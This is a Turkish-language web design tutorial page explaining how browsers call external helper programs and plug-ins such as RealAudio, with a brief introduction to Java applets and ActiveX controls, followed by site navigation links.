Internet tarayıcıları, sadece HTML kodları ile yazılmış metinleri okuyup anladıkları günleri çoktan geride bıraktılar. NN ve IE, artık bir çok grafik dosyasını okuyup, ekranda resmedebiliyorlar. Bu gelişmeye rağmen, Internet tarayıcının başlıca işi, hergün yeni bir türü ortaya çıkan ses, video ve diğer çoklu ortam dosyalarının, veritabanı veya muhasebe tablolarının hızlı gelişimine ayak uydurup, onları ekranda canlandırmak olmadığı için, tarayıcı programını yazan uzmanlar, bu gibi programlarının dışardan çalıştırılmasına olanak sağlarlar. Kullanıcı isterse tarayıcısına, Internet’te adının uzatması “.xls” olan bir dosya ile karşılaşınca, bunu ekranda göstermek için Microsoft Excel programını çalıştırmasını bildirebilir. Yardımcı programlara ve bunların gerektiği verileri sayfanıza koyarken, Internet tarayıcısına nasıl bildirimde bulunacağınıza ilerde döneceğiz.

Plug-In denilen ek birimler ise, tarayıcıya tamamen farklı bir programı açmak yerine, belirli bir tür dosya türünü ekranda canlandırabilme yeteneği kazandıran eklerdir. Tarayıcı program bilgisayara kurulurken bu ek birimler olmaksızın (ya da çok yaygın olanları ile) yüklenir. Internet’te yeni bir tür dosya türü oluşturmak isteyen, ya da mevcut türlerin Internet servisi sunan bilgisayardan (Server) müşteri bilgisayara aktarılmasında yeni bir yöntem geliştiren kişi veya firma, bu yeni dosya türünün tarayıcı tarafından bilgisayarda oluşturulabilmesi için bir de “plug-in” oluşturur ve bunu genellikle ücretsiz dağıtır.

Diyelim ki, bir firma, Internet’te ses naklini çok daha hızlı ve kolay hale getirdiğini düşündüğü yeni bir biçim geliştirdi. Bu biçimin Internet hizmeti verenler tarafından benimsenmesi ve yaygın olarak kullanılması, tarayıcı programların bu biçimi tanımasına, bu da firmanın yeni ses nakil yönteminin gerektirdiği plug-in programcıklarını etkin şekilde dağıtmasına bağlıdır. Kimi zaman bir yöntem o kadar beğenilir ve Internet hizmeti verenler tarafından tutulur ki, plug-in tarayıcı kullananların satın almak isteyecekleri bir program haline gelir. Çoğu zaman, tarayıcı için gerekli plug-in kullanıcılara ücretsiz ulaştırılırken, yeni yöntemi kullanarak Internet alanında sundukları içeriği daha etkin hale getirmek isteyenler için gerekli oluşturma programı parayla satılır. Bunun bir örneği Internet’te gerçek zamanlı ses aktarmakta kullanılan RealAudio ses kayıt ve saklama yöntemidir. Firma, ses dosyalarını bu yöntemle sıkıştırıp hızlı bir şekilde ulaştırmak isteyenlere kodlama ve bunu Server’a yerleştirerek, isteyen tarayıcıya aktaracak programı satarken, kendi tarayıcılarına RealAudio dosyalarını okuyarak, bilgisayarın ses kartını ve hoparlorunu kullanarak bu dosyayı sese çevirecek ek birimi ücretsiz dağıtmaktadır.

Web tasarımcısı, özellikle ses, video ve diğer grafik unsurların Server’dan müşteriye aktarılmasında ne gibi yöntemler olduğunu ve gelişmeleri izlemek zorundadır. HTML sayfanıza bir ses unsuru koymaya karar verdiğiniz zaman NN veya IE kullanan bir kişinin bunu bilgisayarında dinleyip-dinleyemeyeceğini de hesaba katmak zorundasınız. İlerde, Web tasarımında çoklu ortam unsurlarından söz ettiğimiz zaman, plug-in’lere döneceğiz.

Java, ActiveX

Bu bölümü bitirmeden, HTML sayfalarınıza koyabileceğiniz ve HTML’i duraganlıktan kurtarıp, hareket ve hatta kullanıcı ile etkileşmeli hale getiren unsurlardan da kısaca söz edelim.

Java dili ile yazılmış programlar veya programcılar (Applet) ve Microsoft firmasının Windows ortamı için geliştirdiği ama zamanla diğer işletme sistemlerine de yayılan ActiveX Kontrolleri, tarayıcı programın yanı sıra, ama ondan bağımsız olarak, çalışan ve ortaya çıkarttıkları sonucu, programcığı veya Kontrol’ü yazan kişinin amacına bağlı olarak, ya tarayıcı içinde, ya da tarayıcı dışında ekrana getiren veya yapan unsurlardır. Hareketli Web sayfalarından ve Dinamik HTML’den söz ettiğimiz zaman bu iki unsuru daha geniş ele alacağız.





Web'e Giriş İçin Tıklayınız

HTML'nin Temel Unsurları İçin Tıklayınız

Tablo ve Çerçeveler ve Katmanlar İçin Tıklayınız

HTML'de Form ve CGI İçin Tıklayınız

Sonuç İçin Tıklayınız




                                      
 Ana Sayfaya Dönmek İçin Tıklayınız

Bugün 1 ziyaretçi (47 klik) Sevenimiz Buradaydı !!!



Zirve100
Bilgisayar ve İnternet
PR3 TOPLIST, LINK EKLE.
Copyright © 2007-2013 ironarchives Corporation® All Rights Reserved. | Edit by IRONsKING™ |

=> Sen de ücretsiz bir internet sitesi kurmak ister misin? O zaman burayı tıkla! <=